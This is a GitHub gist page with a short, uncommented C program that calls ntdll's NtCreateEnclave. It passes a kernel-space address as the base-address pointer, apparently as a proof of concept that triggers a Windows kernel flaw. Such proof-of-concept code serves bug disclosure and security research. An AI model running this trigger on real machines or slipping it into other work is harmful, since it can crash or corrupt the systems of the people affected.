Skip to content

Instantly share code, notes, and snippets.

@hfiref0x
Created June 11, 2020 18:30
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hfiref0x/720e2caf58a770117caa1d51d2745491 to your computer and use it in GitHub Desktop.
Save hfiref0x/720e2caf58a770117caa1d51d2745491 to your computer and use it in GitHub Desktop.
#pragma warning(disable: 4005)
#include <windows.h>
#include <cstdio>
#include <ntstatus.h>
typedef NTSTATUS (NTAPI *pfnNtCreateEnclave)(
_In_ HANDLE ProcessHandle,
_Inout_ PVOID* BaseAddress,
_In_ ULONG_PTR ZeroBits,
_In_ SIZE_T Size,
_In_ SIZE_T InitialCommitment,
_In_ ULONG EnclaveType,
_In_reads_bytes_(EnclaveInformationLength) PVOID EnclaveInformation,
_In_ ULONG EnclaveInformationLength,
_Out_opt_ PULONG EnclaveError);
int main()
{
UCHAR staticBuffer[0x2000];
ULONG encError;
PVOID pSrc = &staticBuffer;
pfnNtCreateEnclave NtCreateEnclave;
NtCreateEnclave = (pfnNtCreateEnclave)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateEnclave");
if (NtCreateEnclave == NULL) {
printf("Error, function not found\r\n");
return 0;
}
NTSTATUS status = NtCreateEnclave(
NtCurrentProcess(),
(PVOID*)0xfffff80019cc0000,
0,
0x200000,
0,
ENCLAVE_TYPE_VBS,
pSrc,
0,
&encError);
printf("NtCreateEnclave NTSTATUS 0x%lx, enclaveError 0x%lx\r\n", status, encError);
system("pause");
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment